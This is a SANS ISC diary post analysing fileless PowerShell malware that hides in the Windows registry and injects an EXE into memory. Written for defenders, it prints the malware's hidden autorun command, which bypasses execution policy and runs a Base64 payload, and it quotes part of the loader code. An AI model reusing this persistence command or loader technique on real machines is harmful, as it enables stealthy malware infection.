Threat Level: green Handler on Duty: Xavier Mertens

SANS ISC: InfoSec Handlers Diary Blog - Powershell Malware - No Hard drive, Just hard times InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Powershell Malware - No Hard drive, Just hard times

Published: 2016-03-09
Last Updated: 2016-03-09 20:56:32 UTC
by Mark Baggett (Version: 1)
5 comment(s)

ISC Reader Eric Volking submitted a very nice sample of some Powershell based malware.   Let's take a look!     The malware starts in the traditional way, by launching itself with an autorun registry key.  The key contains the following command:

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\UBZZXDJZAOGD').XLQWFZRMYEZV)));

Upon startup this will launch Powershell and execute the Base64 (UTF-16LE) encoded script stored in the registry path HKCU:\Software\Classes\UBZZXDJZAOGD'  in the key 'XLQWFZRMYEZV'.    That script, when decoded contains something that looks like the block of code below.   For readability, I've removed a large blob of text from the script and collapsed the two functions that the malware uses to decrypt and extract itself.

This script decodes a big blob of Base64 encoded data that is stored in the variable $eOIzeGbcRBwsK.   It decrypts it with the key stored in variable $DUUZTJAPEMZ and "inflates" the gzip encoded data.  Windows Powershell ISE makes getting to the decrypted data painless.   On my malware analysis VM, I go to the Powershell_ISE Right click on line 43 and select "Toggle Break Point".   Line 43 assigns the decrypted payload to variable $eOIzeGbcRBwsK.  I execute the script and the ISE breakpoint dutifully stops on the selected line.  My Poweshell prompt changes to "[DBG]: PS C:\Users\mark>>"   letting me know I am in the middle of debugging the script.   I can use my Powershell prompt to inspect or change variables.   I can also export the contents of that variable to another file.  I go to the bottom of the ISE and type '$eOIzeGbcRBwsK | out-file -FilePath ".\decoded.ps1"'.  

Now I can open up the file "decoded.ps1" and see the unencrypted payload.   In decoded.ps1 we find a modified version of "Invoke-ReflectedPEInjection".   The malware authors have obviously used part of the Powersploit framework in their attack.  Powersploit is a very useful framework to penetration testers and network defenders alike so it doesn't surprise me that bad actors find value in it also.  Invoke-ReflectedPEInjection will load a Windows EXE into memory and launch it without it ever writing to the hard drive.   So where does the script get its EXE?  Check out the next section of code:

if ([IntPtr]::Size -eq 8) {
    $vbEAVvPmboDegBGedpNv = (Get-ItemProperty -Path $aUtmGNrVkbP -Name $AAMIGXFSNFELTAWRLPUK).$AAMIGXFSNFELTAWRLPUK;
    $vbEAVvPmboDegBGedpNv = (Get-ItemProperty -Path $aUtmGNrVkbP -Name $MYzCGKgIWvqVbaOqTxv).$MYzCGKgIWvqVbaOqTxv;

The script is checking the size of an Integer to determine if the victim is a 32 bit or a 64 bit system.   Depending upon the architecture it extracts a 32 bit or 64 bit version of the malware from the registry and launches it using Invoke-ReflectedPEInjection.

By using Powershell the attackers have been able to put malware that might other wise be detected on a hard drive into the Windows Registry.  (Dear Trolls, Yes, I know the registry is technically on the hard drive.)  As network defenders we should familiarize ourselves with these techniques and how to use Powershell_ISE to examine the scripts.

Thanks for the submission Eric!  

Check out SEC573 at one of our upcoming events!   Already know Python??  Prove it!

Follow me on twitter

​Mark Baggett



5 comment(s)
Diary Archives